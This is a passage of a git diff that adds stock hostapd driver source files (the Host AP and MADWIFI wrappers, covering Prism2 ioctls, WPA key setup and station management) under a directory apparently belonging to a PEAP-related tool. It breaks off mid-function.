host_to_le16(WLAN_FC_FROMDS); + os_memcpy(hdr.IEEE80211_DA_FROMDS, addr, ETH_ALEN); + os_memcpy(hdr.IEEE80211_BSSID_FROMDS, own_addr, ETH_ALEN); + os_memcpy(hdr.IEEE80211_SA_FROMDS, own_addr, ETH_ALEN); + + hostap_send_mlme(priv, (u8 *)&hdr, sizeof(hdr), 0); +} + + +const struct wpa_driver_ops wpa_driver_hostap_ops = { + .name = "hostap", + .desc = "Host AP driver (Intersil Prism2/2.5/3)", + .set_key = wpa_driver_hostap_set_key, + .hapd_init = hostap_init, + .hapd_deinit = hostap_driver_deinit, + .set_ieee8021x = hostap_set_ieee8021x, + .set_privacy = hostap_set_privacy, + .get_seqnum = hostap_get_seqnum, + .flush = hostap_flush, + .set_generic_elem = hostap_set_generic_elem, + .read_sta_data = hostap_read_sta_data, + .hapd_send_eapol = hostap_send_eapol, + .sta_set_flags = hostap_sta_set_flags, + .sta_deauth = hostap_sta_deauth, + .sta_disassoc = hostap_sta_disassoc, + .sta_remove = hostap_sta_remove, + .hapd_set_ssid = hostap_set_ssid, + .send_mlme = hostap_send_mlme, + .sta_add = hostap_sta_add, + .get_inact_sec = hostap_get_inact_sec, + .sta_clear_stats = hostap_sta_clear_stats, + .get_hw_feature_data = hostap_get_hw_feature_data, + .set_ap_wps_ie = hostap_set_ap_wps_ie, + .set_freq = hostap_set_freq, + .poll_client = wpa_driver_hostap_poll_client, +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_hostap.h b/peapwn/mods/hostap/src/drivers/driver_hostap.h new file mode 100644 index 000000000..a9d3e76cb --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_hostap.h @@ -0,0 +1,210 @@ +/* + * Driver interaction with Linux Host AP driver + * Copyright (c) 2002-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef HOSTAP_DRIVER_H +#define HOSTAP_DRIVER_H + +/* netdevice private ioctls (used, e.g., with iwpriv from user space) */ + +/* New wireless extensions API - SET/GET convention (even ioctl numbers are + * root only) + */ +#define PRISM2_IOCTL_PRISM2_PARAM (SIOCIWFIRSTPRIV + 0) +#define PRISM2_IOCTL_GET_PRISM2_PARAM (SIOCIWFIRSTPRIV + 1) +#define PRISM2_IOCTL_WRITEMIF (SIOCIWFIRSTPRIV + 2) +#define PRISM2_IOCTL_READMIF (SIOCIWFIRSTPRIV + 3) +#define PRISM2_IOCTL_MONITOR (SIOCIWFIRSTPRIV + 4) +#define PRISM2_IOCTL_RESET (SIOCIWFIRSTPRIV + 6) +#define PRISM2_IOCTL_INQUIRE (SIOCIWFIRSTPRIV + 8) +#define PRISM2_IOCTL_WDS_ADD (SIOCIWFIRSTPRIV + 10) +#define PRISM2_IOCTL_WDS_DEL (SIOCIWFIRSTPRIV + 12) +#define PRISM2_IOCTL_SET_RID_WORD (SIOCIWFIRSTPRIV + 14) +#define PRISM2_IOCTL_MACCMD (SIOCIWFIRSTPRIV + 16) +#define PRISM2_IOCTL_ADDMAC (SIOCIWFIRSTPRIV + 18) +#define PRISM2_IOCTL_DELMAC (SIOCIWFIRSTPRIV + 20) +#define PRISM2_IOCTL_KICKMAC (SIOCIWFIRSTPRIV + 22) + +/* following are not in SIOCGIWPRIV list; check permission in the driver code + */ +#define PRISM2_IOCTL_DOWNLOAD (SIOCDEVPRIVATE + 13) +#define PRISM2_IOCTL_HOSTAPD (SIOCDEVPRIVATE + 14) + + +/* PRISM2_IOCTL_PRISM2_PARAM ioctl() subtypes: */ +enum { + /* PRISM2_PARAM_PTYPE = 1, */ /* REMOVED 2003-10-22 */ + PRISM2_PARAM_TXRATECTRL = 2, + PRISM2_PARAM_BEACON_INT = 3, + PRISM2_PARAM_PSEUDO_IBSS = 4, + PRISM2_PARAM_ALC = 5, + /* PRISM2_PARAM_TXPOWER = 6, */ /* REMOVED 2003-10-22 */ + PRISM2_PARAM_DUMP = 7, + PRISM2_PARAM_OTHER_AP_POLICY = 8, + PRISM2_PARAM_AP_MAX_INACTIVITY = 9, + PRISM2_PARAM_AP_BRIDGE_PACKETS = 10, + PRISM2_PARAM_DTIM_PERIOD = 11, + PRISM2_PARAM_AP_NULLFUNC_ACK = 12, + PRISM2_PARAM_MAX_WDS = 13, + PRISM2_PARAM_AP_AUTOM_AP_WDS = 14, + PRISM2_PARAM_AP_AUTH_ALGS = 15, + PRISM2_PARAM_MONITOR_ALLOW_FCSERR = 16, + PRISM2_PARAM_HOST_ENCRYPT = 17, + PRISM2_PARAM_HOST_DECRYPT = 18, + PRISM2_PARAM_BUS_MASTER_THRESHOLD_RX = 19, + PRISM2_PARAM_BUS_MASTER_THRESHOLD_TX = 20, + PRISM2_PARAM_HOST_ROAMING = 21, + PRISM2_PARAM_BCRX_STA_KEY = 22, + PRISM2_PARAM_IEEE_802_1X = 23, + PRISM2_PARAM_ANTSEL_TX = 24, + PRISM2_PARAM_ANTSEL_RX = 25, + PRISM2_PARAM_MONITOR_TYPE = 26, + PRISM2_PARAM_WDS_TYPE = 27, + PRISM2_PARAM_HOSTSCAN = 28, + PRISM2_PARAM_AP_SCAN = 29, + PRISM2_PARAM_ENH_SEC = 30, + PRISM2_PARAM_IO_DEBUG = 31, + PRISM2_PARAM_BASIC_RATES = 32, + PRISM2_PARAM_OPER_RATES = 33, + PRISM2_PARAM_HOSTAPD = 34, + PRISM2_PARAM_HOSTAPD_STA = 35, + PRISM2_PARAM_WPA = 36, + PRISM2_PARAM_PRIVACY_INVOKED = 37, + PRISM2_PARAM_TKIP_COUNTERMEASURES = 38, + PRISM2_PARAM_DROP_UNENCRYPTED = 39, + PRISM2_PARAM_SCAN_CHANNEL_MASK = 40, +}; + +enum { HOSTAP_ANTSEL_DO_NOT_TOUCH = 0, HOSTAP_ANTSEL_DIVERSITY = 1, + HOSTAP_ANTSEL_LOW = 2, HOSTAP_ANTSEL_HIGH = 3 }; + + +/* PRISM2_IOCTL_MACCMD ioctl() subcommands: */ +enum { AP_MAC_CMD_POLICY_OPEN = 0, AP_MAC_CMD_POLICY_ALLOW = 1, + AP_MAC_CMD_POLICY_DENY = 2, AP_MAC_CMD_FLUSH = 3, + AP_MAC_CMD_KICKALL = 4 }; + + +/* PRISM2_IOCTL_DOWNLOAD ioctl() dl_cmd: */ +enum { + PRISM2_DOWNLOAD_VOLATILE = 1 /* RAM */, + /* Note! Old versions of prism2_srec have a fatal error in CRC-16 + * calculation, which will corrupt all non-volatile downloads. + * PRISM2_DOWNLOAD_NON_VOLATILE used to be 2, but it is now 3 to + * prevent use of old versions of prism2_srec for non-volatile + * download. */ + PRISM2_DOWNLOAD_NON_VOLATILE = 3 /* FLASH */, + PRISM2_DOWNLOAD_VOLATILE_GENESIS = 4 /* RAM in Genesis mode */, + /* Persistent versions of volatile download commands (keep firmware + * data in memory and automatically re-download after hw_reset */ + PRISM2_DOWNLOAD_VOLATILE_PERSISTENT = 5, + PRISM2_DOWNLOAD_VOLATILE_GENESIS_PERSISTENT = 6, +}; + +struct prism2_download_param { + u32 dl_cmd; + u32 start_addr; + u32 num_areas; + struct prism2_download_area { + u32 addr; /* wlan card address */ + u32 len; + caddr_t ptr; /* pointer to data in user space */ + } data[0]; +}; + +#define PRISM2_MAX_DOWNLOAD_AREA_LEN 131072 +#define PRISM2_MAX_DOWNLOAD_LEN 262144 + + +/* PRISM2_IOCTL_HOSTAPD ioctl() cmd: */ +enum { + PRISM2_HOSTAPD_FLUSH = 1, + PRISM2_HOSTAPD_ADD_STA = 2, + PRISM2_HOSTAPD_REMOVE_STA = 3, + PRISM2_HOSTAPD_GET_INFO_STA = 4, + /* REMOVED: PRISM2_HOSTAPD_RESET_TXEXC_STA = 5, */ + PRISM2_SET_ENCRYPTION = 6, + PRISM2_GET_ENCRYPTION = 7, + PRISM2_HOSTAPD_SET_FLAGS_STA = 8, + PRISM2_HOSTAPD_GET_RID = 9, + PRISM2_HOSTAPD_SET_RID = 10, + PRISM2_HOSTAPD_SET_ASSOC_AP_ADDR = 11, + PRISM2_HOSTAPD_SET_GENERIC_ELEMENT = 12, + PRISM2_HOSTAPD_MLME = 13, + PRISM2_HOSTAPD_SCAN_REQ = 14, + PRISM2_HOSTAPD_STA_CLEAR_STATS = 15, +}; + +#define PRISM2_HOSTAPD_MAX_BUF_SIZE 1024 +#define PRISM2_HOSTAPD_RID_HDR_LEN \ +((size_t) (&((struct prism2_hostapd_param *) 0)->u.rid.data)) +#define PRISM2_HOSTAPD_GENERIC_ELEMENT_HDR_LEN \ +((size_t) (&((struct prism2_hostapd_param *) 0)->u.generic_elem.data)) + +/* Maximum length for algorithm names (-1 for nul termination) used in ioctl() + */ +#define HOSTAP_CRYPT_ALG_NAME_LEN 16 + + +struct prism2_hostapd_param { + u32 cmd; + u8 sta_addr[ETH_ALEN]; + union { + struct { + u16 aid; + u16 capability; + u8 tx_supp_rates; + } add_sta; + struct { + u32 inactive_sec; + } get_info_sta; + struct { + u8 alg[HOSTAP_CRYPT_ALG_NAME_LEN]; + u32 flags; + u32 err; + u8 idx; + u8 seq[8]; /* sequence counter (set: RX, get: TX) */ + u16 key_len; + u8 key[0]; + } crypt; + struct { + u32 flags_and; + u32 flags_or; + } set_flags_sta; + struct { + u16 rid; + u16 len; + u8 data[0]; + } rid; + struct { + u8 len; + u8 data[0]; + } generic_elem; + struct { +#define MLME_STA_DEAUTH 0 +#define MLME_STA_DISASSOC 1 + u16 cmd; + u16 reason_code; + } mlme; + struct { + u8 ssid_len; + u8 ssid[32]; + } scan_req; + } u; +}; + +#define HOSTAP_CRYPT_FLAG_SET_TX_KEY BIT(0) +#define HOSTAP_CRYPT_FLAG_PERMANENT BIT(1) + +#define HOSTAP_CRYPT_ERR_UNKNOWN_ALG 2 +#define HOSTAP_CRYPT_ERR_UNKNOWN_ADDR 3 +#define HOSTAP_CRYPT_ERR_CRYPT_INIT_FAILED 4 +#define HOSTAP_CRYPT_ERR_KEY_SET_FAILED 5 +#define HOSTAP_CRYPT_ERR_TX_KEY_SET_FAILED 6 +#define HOSTAP_CRYPT_ERR_CARD_CONF_FAILED 7 + +#endif /* HOSTAP_DRIVER_H */ diff --git a/peapwn/mods/hostap/src/drivers/driver_madwifi.c b/peapwn/mods/hostap/src/drivers/driver_madwifi.c new file mode 100644 index 000000000..09308347f --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_madwifi.c @@ -0,0 +1,1310 @@ +/* + * WPA Supplicant - driver interaction with MADWIFI 802.11 driver + * Copyright (c) 2004, Sam Leffler + * Copyright (c) 2004, Video54 Technologies + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * While this driver wrapper supports both AP (hostapd) and station + * (wpa_supplicant) operations, the station side is deprecated and + * driver_wext.c should be used instead. This driver wrapper should only be + * used with hostapd for AP mode functionality. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "driver.h" +#include "driver_wext.h" +#include "eloop.h" +#include "common/ieee802_11_defs.h" +#include "linux_wext.h" + +/* + * Avoid conflicts with wpa_supplicant definitions by undefining a definition. + */ +#undef WME_OUI_TYPE + +#include +#include +#ifdef WME_NUM_AC +/* Assume this is built against BSD branch of madwifi driver. */ +#define MADWIFI_BSD +#include +#endif /* WME_NUM_AC */ +#include +#include + +#ifdef CONFIG_WPS +#ifdef IEEE80211_IOCTL_FILTERFRAME +#include + +#ifndef ETH_P_80211_RAW +#define ETH_P_80211_RAW 0x0019 +#endif +#endif /* IEEE80211_IOCTL_FILTERFRAME */ +#endif /* CONFIG_WPS */ + +/* + * Avoid conflicts with hostapd definitions by undefining couple of defines + * from madwifi header files. + */ +#undef RSN_VERSION +#undef WPA_VERSION +#undef WPA_OUI_TYPE +#undef WME_OUI_TYPE + + +#ifdef IEEE80211_IOCTL_SETWMMPARAMS +/* Assume this is built against madwifi-ng */ +#define MADWIFI_NG +#endif /* IEEE80211_IOCTL_SETWMMPARAMS */ + +#define WPA_KEY_RSC_LEN 8 + +#include "priv_netlink.h" +#include "netlink.h" +#include "linux_ioctl.h" +#include "l2_packet/l2_packet.h" + + +struct madwifi_driver_data { + struct hostapd_data *hapd; /* back pointer */ + + char iface[IFNAMSIZ + 1]; + int ifindex; + struct l2_packet_data *sock_xmit; /* raw packet xmit socket */ + struct l2_packet_data *sock_recv; /* raw packet recv socket */ + int ioctl_sock; /* socket for ioctl() use */ + struct netlink_data *netlink; + int we_version; + u8 acct_mac[ETH_ALEN]; + struct hostap_sta_driver_data acct_data; + + struct l2_packet_data *sock_raw; /* raw 802.11 management frames */ +}; + +static int madwifi_sta_deauth(void *priv, const u8 *own_addr, const u8 *addr, + int reason_code); + +static int +set80211priv(struct madwifi_driver_data *drv, int op, void *data, int len) +{ + struct iwreq iwr; + int do_inline = len < IFNAMSIZ; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); +#ifdef IEEE80211_IOCTL_FILTERFRAME + /* FILTERFRAME must be NOT inline, regardless of size. */ + if (op == IEEE80211_IOCTL_FILTERFRAME) + do_inline = 0; +#endif /* IEEE80211_IOCTL_FILTERFRAME */ + if (op == IEEE80211_IOCTL_SET_APPIEBUF) + do_inline = 0; + if (do_inline) { + /* + * Argument data fits inline; put it there. + */ + memcpy(iwr.u.name, data, len); + } else { + /* + * Argument data too big for inline transfer; setup a + * parameter block instead; the kernel will transfer + * the data for the driver. + */ + iwr.u.data.pointer = data; + iwr.u.data.length = len; + } + + if (ioctl(drv->ioctl_sock, op, &iwr) < 0) { +#ifdef MADWIFI_NG + int first = IEEE80211_IOCTL_SETPARAM; + static const char *opnames[] = { + "ioctl[IEEE80211_IOCTL_SETPARAM]", + "ioctl[IEEE80211_IOCTL_GETPARAM]", + "ioctl[IEEE80211_IOCTL_SETMODE]", + "ioctl[IEEE80211_IOCTL_GETMODE]", + "ioctl[IEEE80211_IOCTL_SETWMMPARAMS]", + "ioctl[IEEE80211_IOCTL_GETWMMPARAMS]", + "ioctl[IEEE80211_IOCTL_SETCHANLIST]", + "ioctl[IEEE80211_IOCTL_GETCHANLIST]", + "ioctl[IEEE80211_IOCTL_CHANSWITCH]", + "ioctl[IEEE80211_IOCTL_GET_APPIEBUF]", + "ioctl[IEEE80211_IOCTL_SET_APPIEBUF]", + "ioctl[IEEE80211_IOCTL_GETSCANRESULTS]", + "ioctl[IEEE80211_IOCTL_FILTERFRAME]", + "ioctl[IEEE80211_IOCTL_GETCHANINFO]", + "ioctl[IEEE80211_IOCTL_SETOPTIE]", + "ioctl[IEEE80211_IOCTL_GETOPTIE]", + "ioctl[IEEE80211_IOCTL_SETMLME]", + NULL, + "ioctl[IEEE80211_IOCTL_SETKEY]", + NULL, + "ioctl[IEEE80211_IOCTL_DELKEY]", + NULL, + "ioctl[IEEE80211_IOCTL_ADDMAC]", + NULL, + "ioctl[IEEE80211_IOCTL_DELMAC]", + NULL, + "ioctl[IEEE80211_IOCTL_WDSMAC]", + NULL, + "ioctl[IEEE80211_IOCTL_WDSDELMAC]", + NULL, + "ioctl[IEEE80211_IOCTL_KICKMAC]", + }; +#else /* MADWIFI_NG */ + int first = IEEE80211_IOCTL_SETPARAM; + static const char *opnames[] = { + "ioctl[IEEE80211_IOCTL_SETPARAM]", + "ioctl[IEEE80211_IOCTL_GETPARAM]", + "ioctl[IEEE80211_IOCTL_SETKEY]", + "ioctl[SIOCIWFIRSTPRIV+3]", + "ioctl[IEEE80211_IOCTL_DELKEY]", + "ioctl[SIOCIWFIRSTPRIV+5]", + "ioctl[IEEE80211_IOCTL_SETMLME]", + "ioctl[SIOCIWFIRSTPRIV+7]", + "ioctl[IEEE80211_IOCTL_SETOPTIE]", + "ioctl[IEEE80211_IOCTL_GETOPTIE]", + "ioctl[IEEE80211_IOCTL_ADDMAC]", + "ioctl[SIOCIWFIRSTPRIV+11]", + "ioctl[IEEE80211_IOCTL_DELMAC]", + "ioctl[SIOCIWFIRSTPRIV+13]", + "ioctl[IEEE80211_IOCTL_CHANLIST]", + "ioctl[SIOCIWFIRSTPRIV+15]", + "ioctl[IEEE80211_IOCTL_GETRSN]", + "ioctl[SIOCIWFIRSTPRIV+17]", + "ioctl[IEEE80211_IOCTL_GETKEY]", + }; +#endif /* MADWIFI_NG */ + int idx = op - first; + if (first <= op && + idx < (int) ARRAY_SIZE(opnames) && + opnames[idx]) + perror(opnames[idx]); + else + perror("ioctl[unknown???]"); + return -1; + } + return 0; +} + +static int +set80211param(struct madwifi_driver_data *drv, int op, int arg) +{ + struct iwreq iwr; + + memset(&iwr, 0, sizeof(iwr)); + os_strlcpy(iwr.ifr_name, drv->iface, IFNAMSIZ); + iwr.u.mode = op; + memcpy(iwr.u.name+sizeof(__u32), &arg, sizeof(arg)); + + if (ioctl(drv->ioctl_sock, IEEE80211_IOCTL_SETPARAM, &iwr) < 0) { + perror("ioctl[IEEE80211_IOCTL_SETPARAM]"); + wpa_printf(MSG_DEBUG, "%s: Failed to set parameter (op %d " + "arg %d)", __func__, op, arg); + return -1; + } + return 0; +} + +#ifndef CONFIG_NO_STDOUT_DEBUG +static const char * +ether_sprintf(const u8 *addr) +{ + static char buf[sizeof(MACSTR)]; + + if (addr != NULL) + snprintf(buf, sizeof(buf), MACSTR, MAC2STR(addr)); + else + snprintf(buf, sizeof(buf), MACSTR, 0,0,0,0,0,0); + return buf; +} +#endif /* CONFIG_NO_STDOUT_DEBUG */ + +/* + * Configure WPA parameters. + */ +static int +madwifi_configure_wpa(struct madwifi_driver_data *drv, + struct wpa_bss_params *params) +{ + int v; + + switch (params->wpa_group) { + case WPA_CIPHER_CCMP: + v = IEEE80211_CIPHER_AES_CCM; + break; + case WPA_CIPHER_TKIP: + v = IEEE80211_CIPHER_TKIP; + break; + case WPA_CIPHER_WEP104: + v = IEEE80211_CIPHER_WEP; + break; + case WPA_CIPHER_WEP40: + v = IEEE80211_CIPHER_WEP; + break; + case WPA_CIPHER_NONE: + v = IEEE80211_CIPHER_NONE; + break; + default: + wpa_printf(MSG_ERROR, "Unknown group key cipher %u", + params->wpa_group); + return -1; + } + wpa_printf(MSG_DEBUG, "%s: group key cipher=%d", __func__, v); + if (set80211param(drv, IEEE80211_PARAM_MCASTCIPHER, v)) { + printf("Unable to set group key cipher to %u\n", v); + return -1; + } + if (v == IEEE80211_CIPHER_WEP) { + /* key length is done only for specific ciphers */ + v = (params->wpa_group == WPA_CIPHER_WEP104 ? 13 : 5); + if (set80211param(drv, IEEE80211_PARAM_MCASTKEYLEN, v)) { + printf("Unable to set group key length to %u\n", v); + return -1; + } + } + + v = 0; + if (params->wpa_pairwise & WPA_CIPHER_CCMP) + v |= 1<wpa_pairwise & WPA_CIPHER_TKIP) + v |= 1<wpa_pairwise & WPA_CIPHER_NONE) + v |= 1<wpa_key_mgmt); + if (set80211param(drv, IEEE80211_PARAM_KEYMGTALGS, + params->wpa_key_mgmt)) { + printf("Unable to set key management algorithms to 0x%x\n", + params->wpa_key_mgmt); + return -1; + } + + v = 0; + if (params->rsn_preauth) + v |= BIT(0); + wpa_printf(MSG_DEBUG, "%s: rsn capabilities=0x%x", + __func__, params->rsn_preauth); + if (set80211param(drv, IEEE80211_PARAM_RSNCAPS, v)) { + printf("Unable to set RSN capabilities to 0x%x\n", v); + return -1; + } + + wpa_printf(MSG_DEBUG, "%s: enable WPA=0x%x", __func__, params->wpa); + if (set80211param(drv, IEEE80211_PARAM_WPA, params->wpa)) { + printf("Unable to set WPA to %u\n", params->wpa); + return -1; + } + return 0; +} + +static int +madwifi_set_ieee8021x(void *priv, struct wpa_bss_params *params) +{ + struct madwifi_driver_data *drv = priv; + + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __func__, params->enabled); + + if (!params->enabled) { + /* XXX restore state */ + return set80211param(priv, IEEE80211_PARAM_AUTHMODE, + IEEE80211_AUTH_AUTO); + } + if (!params->wpa && !params->ieee802_1x) { + wpa_printf(MSG_WARNING, "No 802.1X or WPA enabled!"); + return -1; + } + if (params->wpa && madwifi_configure_wpa(drv, params) != 0) { + wpa_printf(MSG_WARNING, "Error configuring WPA state!"); + return -1; + } + if (set80211param(priv, IEEE80211_PARAM_AUTHMODE, + (params->wpa ? IEEE80211_AUTH_WPA : IEEE80211_AUTH_8021X))) { + wpa_printf(MSG_WARNING, "Error enabling WPA/802.1X!"); + return -1; + } + + return 0; +} + +static int +madwifi_set_privacy(void *priv, int enabled) +{ + struct madwifi_driver_data *drv = priv; + + wpa_printf(MSG_DEBUG, "%s: enabled=%d", __func__, enabled); + + return set80211param(drv, IEEE80211_PARAM_PRIVACY, enabled); +} + +static int +madwifi_set_sta_authorized(void *priv, const u8 *addr, int authorized) +{ + struct madwifi_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s authorized=%d", + __func__, ether_sprintf(addr), authorized); + + if (authorized) + mlme.im_op = IEEE80211_MLME_AUTHORIZE; + else + mlme.im_op = IEEE80211_MLME_UNAUTHORIZE; + mlme.im_reason = 0; + memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to %sauthorize STA " MACSTR, + __func__, authorized ? "" : "un", MAC2STR(addr)); + } + + return ret; +} + +static int +madwifi_sta_set_flags(void *priv, const u8 *addr, + int total_flags, int flags_or, int flags_and) +{ + /* For now, only support setting Authorized flag */ + if (flags_or & WPA_STA_AUTHORIZED) + return madwifi_set_sta_authorized(priv, addr, 1); + if (!(flags_and & WPA_STA_AUTHORIZED)) + return madwifi_set_sta_authorized(priv, addr, 0); + return 0; +} + +static int +madwifi_del_key(void *priv, const u8 *addr, int key_idx) +{ + struct madwifi_driver_data *drv = priv; + struct ieee80211req_del_key wk; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s key_idx=%d", + __func__, ether_sprintf(addr), key_idx); + + memset(&wk, 0, sizeof(wk)); + if (addr != NULL) { + memcpy(wk.idk_macaddr, addr, IEEE80211_ADDR_LEN); + wk.idk_keyix = (u8) IEEE80211_KEYIX_NONE; + } else { + wk.idk_keyix = key_idx; + } + + ret = set80211priv(drv, IEEE80211_IOCTL_DELKEY, &wk, sizeof(wk)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to delete key (addr %s" + " key_idx %d)", __func__, ether_sprintf(addr), + key_idx); + } + + return ret; +} + +static int +wpa_driver_madwifi_set_key(const char *ifname, void *priv, enum wpa_alg alg, + const u8 *addr, int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + struct madwifi_driver_data *drv = priv; + struct ieee80211req_key wk; + u_int8_t cipher; + int ret; + + if (alg == WPA_ALG_NONE) + return madwifi_del_key(drv, addr, key_idx); + + wpa_printf(MSG_DEBUG, "%s: alg=%d addr=%s key_idx=%d", + __func__, alg, ether_sprintf(addr), key_idx); + + if (alg == WPA_ALG_WEP) + cipher = IEEE80211_CIPHER_WEP; + else if (alg == WPA_ALG_TKIP) + cipher = IEEE80211_CIPHER_TKIP; + else if (alg == WPA_ALG_CCMP) + cipher = IEEE80211_CIPHER_AES_CCM; + else { + printf("%s: unknown/unsupported algorithm %d\n", + __func__, alg); + return -1; + } + + if (key_len > sizeof(wk.ik_keydata)) { + printf("%s: key length %lu too big\n", __func__, + (unsigned long) key_len); + return -3; + } + + memset(&wk, 0, sizeof(wk)); + wk.ik_type = cipher; + wk.ik_flags = IEEE80211_KEY_RECV | IEEE80211_KEY_XMIT; + if (addr == NULL || is_broadcast_ether_addr(addr)) { + memset(wk.ik_macaddr, 0xff, IEEE80211_ADDR_LEN); + wk.ik_keyix = key_idx; + wk.ik_flags |= IEEE80211_KEY_DEFAULT; + } else { + memcpy(wk.ik_macaddr, addr, IEEE80211_ADDR_LEN); + wk.ik_keyix = IEEE80211_KEYIX_NONE; + } + wk.ik_keylen = key_len; + memcpy(wk.ik_keydata, key, key_len); + + ret = set80211priv(drv, IEEE80211_IOCTL_SETKEY, &wk, sizeof(wk)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to set key (addr %s" + " key_idx %d alg %d key_len %lu set_tx %d)", + __func__, ether_sprintf(wk.ik_macaddr), key_idx, + alg, (unsigned long) key_len, set_tx); + } + + return ret; +} + + +static int +madwifi_get_seqnum(const char *ifname, void *priv, const u8 *addr, int idx, + u8 *seq) +{ + struct madwifi_driver_data *drv = priv; + struct ieee80211req_key wk; + + wpa_printf(MSG_DEBUG, "%s: addr=%s idx=%d", + __func__, ether_sprintf(addr), idx); + + memset(&wk, 0, sizeof(wk)); + if (addr == NULL) + memset(wk.ik_macaddr, 0xff, IEEE80211_ADDR_LEN); + else + memcpy(wk.ik_macaddr, addr, IEEE80211_ADDR_LEN); + wk.ik_keyix = idx; + + if (set80211priv(drv, IEEE80211_IOCTL_GETKEY, &wk, sizeof(wk))) { + wpa_printf(MSG_DEBUG, "%s: Failed to get encryption data " + "(addr " MACSTR " key_idx %d)", + __func__, MAC2STR(wk.ik_macaddr), idx); + return -1; + } + +#ifdef WORDS_BIGENDIAN + { + /* + * wk.ik_keytsc is in host byte order (big endian), need to + * swap it to match with the byte order used in WPA. + */ + int i; + u8 tmp[WPA_KEY_RSC_LEN]; + memcpy(tmp, &wk.ik_keytsc, sizeof(wk.ik_keytsc)); + for (i = 0; i < WPA_KEY_RSC_LEN; i++) { + seq[i] = tmp[WPA_KEY_RSC_LEN - i - 1]; + } + } +#else /* WORDS_BIGENDIAN */ + memcpy(seq, &wk.ik_keytsc, sizeof(wk.ik_keytsc)); +#endif /* WORDS_BIGENDIAN */ + return 0; +} + + +static int +madwifi_flush(void *priv) +{ +#ifdef MADWIFI_BSD + u8 allsta[IEEE80211_ADDR_LEN]; + memset(allsta, 0xff, IEEE80211_ADDR_LEN); + return madwifi_sta_deauth(priv, NULL, allsta, + IEEE80211_REASON_AUTH_LEAVE); +#else /* MADWIFI_BSD */ + return 0; /* XXX */ +#endif /* MADWIFI_BSD */ +} + + +static int +madwifi_read_sta_driver_data(void *priv, struct hostap_sta_driver_data *data, + const u8 *addr) +{ + struct madwifi_driver_data *drv = priv; + +#ifdef MADWIFI_BSD + struct ieee80211req_sta_stats stats; + + memset(data, 0, sizeof(*data)); + + /* + * Fetch statistics for station from the system. + */ + memset(&stats, 0, sizeof(stats)); + memcpy(stats.is_u.macaddr, addr, IEEE80211_ADDR_LEN); + if (set80211priv(drv, +#ifdef MADWIFI_NG + IEEE80211_IOCTL_STA_STATS, +#else /* MADWIFI_NG */ + IEEE80211_IOCTL_GETSTASTATS, +#endif /* MADWIFI_NG */ + &stats, sizeof(stats))) { + wpa_printf(MSG_DEBUG, "%s: Failed to fetch STA stats (addr " + MACSTR ")", __func__, MAC2STR(addr)); + if (memcmp(addr, drv->acct_mac, ETH_ALEN) == 0) { + memcpy(data, &drv->acct_data, sizeof(*data)); + return 0; + } + + printf("Failed to get station stats information element.\n"); + return -1; + } + + data->rx_packets = stats.is_stats.ns_rx_data; + data->rx_bytes = stats.is_stats.ns_rx_bytes; + data->tx_packets = stats.is_stats.ns_tx_data; + data->tx_bytes = stats.is_stats.ns_tx_bytes; + return 0; + +#else /* MADWIFI_BSD */ + + char buf[1024], line[128], *pos; + FILE *f; + unsigned long val; + + memset(data, 0, sizeof(*data)); + snprintf(buf, sizeof(buf), "/proc/net/madwifi/%s/" MACSTR, + drv->iface, MAC2STR(addr)); + + f = fopen(buf, "r"); + if (!f) { + if (memcmp(addr, drv->acct_mac, ETH_ALEN) != 0) + return -1; + memcpy(data, &drv->acct_data, sizeof(*data)); + return 0; + } + /* Need to read proc file with in one piece, so use large enough + * buffer. */ + setbuffer(f, buf, sizeof(buf)); + + while (fgets(line, sizeof(line), f)) { + pos = strchr(line, '='); + if (!pos) + continue; + *pos++ = '\0'; + val = strtoul(pos, NULL, 10); + if (strcmp(line, "rx_packets") == 0) + data->rx_packets = val; + else if (strcmp(line, "tx_packets") == 0) + data->tx_packets = val; + else if (strcmp(line, "rx_bytes") == 0) + data->rx_bytes = val; + else if (strcmp(line, "tx_bytes") == 0) + data->tx_bytes = val; + } + + fclose(f); + + return 0; +#endif /* MADWIFI_BSD */ +} + + +static int +madwifi_sta_clear_stats(void *priv, const u8 *addr) +{ +#if defined(MADWIFI_BSD) && defined(IEEE80211_MLME_CLEAR_STATS) + struct madwifi_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s", __func__, ether_sprintf(addr)); + + mlme.im_op = IEEE80211_MLME_CLEAR_STATS; + memcpy(mlme.im_macaddr, addr, IEEE80211_ADDR_LEN); + ret = set80211priv(drv, IEEE80211_IOCTL_SETMLME, &mlme, + sizeof(mlme)); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to clear STA stats (addr " + MACSTR ")", __func__, MAC2STR(addr)); + } + + return ret; +#else /* MADWIFI_BSD && IEEE80211_MLME_CLEAR_STATS */ + return 0; /* FIX */ +#endif /* MADWIFI_BSD && IEEE80211_MLME_CLEAR_STATS */ +} + + +static int +madwifi_set_opt_ie(void *priv, const u8 *ie, size_t ie_len) +{ + /* + * Do nothing; we setup parameters at startup that define the + * contents of the beacon information element. + */ + return 0; +} + +static int +madwifi_sta_deauth(void *priv, const u8 *own_addr, const u8 *addr, + int reason_code) +{ + struct madwifi_driver_data *drv = priv; + struct ieee80211req_mlme mlme; + int ret; + + wpa_printf(MSG_DEBUG, "%s: addr=%s reason_code=%d", + __func__, ether_sprintf(addr), reason_code); + + mlme.im_op = 